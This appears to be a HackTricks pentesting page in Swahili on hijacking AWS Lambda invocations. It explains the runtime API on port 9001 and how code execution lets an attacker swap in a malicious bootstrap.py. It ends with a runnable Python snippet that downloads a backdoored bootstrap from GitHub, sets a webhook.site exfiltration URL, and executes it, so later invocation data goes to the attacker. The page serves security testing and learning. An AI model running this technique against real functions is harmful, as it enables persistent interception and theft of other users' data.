AWS - Steal Lambda Requests

Support HackTricks

Mchakato wa Lambda

  1. Slicer ni mchakato nje ya kontena ambao inatuma maito kwa mchakato wa init.

  2. Mchakato wa init unasikiliza kwenye bandari 9001 ukionyesha baadhi ya maeneo ya kuvutia:

  • /2018-06-01/runtime/invocation/next – pata tukio la maito linalofuata

  • /2018-06-01/runtime/invocation/{invoke-id}/response – rudisha jibu la handler kwa maito

  • /2018-06-01/runtime/invocation/{invoke-id}/error – rudisha kosa la utekelezaji

  1. bootstrap.py ina mzunguko unaopata maito kutoka kwa mchakato wa init na inaita msimbo wa watumiaji kuwasimamia (/next).

  2. Hatimaye, bootstrap.py inatuma kwa init jibu

Kumbuka kwamba bootstrap inachukua msimbo wa mtumiaji kama moduli, hivyo utekelezaji wowote wa msimbo unaofanywa na msimbo wa watumiaji unafanyika katika mchakato huu.

Kuiba Maombi ya Lambda

Lengo la shambulio hili ni kufanya msimbo wa watumiaji utekeleze mchakato mbaya wa bootstrap.py ndani ya mchakato wa bootstrap.py ambao unashughulikia ombi lenye udhaifu. Kwa njia hii, mchakato wa bootstrap mbaya utaanza kuzungumza na mchakato wa init ili kushughulikia maombi wakati bootstrap halali ime kwama ikifanya kazi ya mbaya, hivyo haitahitaji maombi kwa mchakato wa init.

Hii ni kazi rahisi kufanikisha kwani msimbo wa mtumiaji unatekelezwa na mchakato halali wa bootstrap.py. Hivyo mshambuliaji anaweza:

  • Kutuma matokeo ya uwongo ya maito ya sasa kwa mchakato wa init, hivyo init inafikiri mchakato wa bootstrap unangojea maito zaidi.

  • Ombi lazima litumwe kwa /${invoke-id}/response

  • Invoke-id inaweza kupatikana kutoka kwenye stack ya mchakato halali wa bootstrap.py kwa kutumia moduli ya python inspect (kama ilivyopendekezwa hapa) au tu kuomba tena kwa /2018-06-01/runtime/invocation/next (kama ilivyopendekezwa hapa).

  • Tekeleza boostrap.py mbaya ambayo itashughulikia maito yafuatayo

  • Kwa ajili ya usiri, inawezekana kutuma vigezo vya maito ya lambda kwa C2 inayodhibitiwa na mshambuliaji na kisha kushughulikia maombi kama kawaida.

  • Kwa shambulio hili, inatosha kupata msimbo wa asili wa bootstrap.py kutoka kwenye mfumo au github, ongeza msimbo mbaya na uendeshe kutoka kwa maito ya sasa ya lambda.

Hatua za Shambulio

  1. Tafuta udhaifu wa RCE.

  2. Tekeleza bootstrap mbaya.

Unaweza kwa urahisi kufanya vitendo hivi ukikimbia:

python3 <<EOF
import os
import urllib3

# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data

# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"

exec(new_runtime)
EOF

Kwa maelezo zaidi angalia https://github.com/carlospolop/lambda_bootstrap_switcher

Marejeo

Support HackTricks

Last updated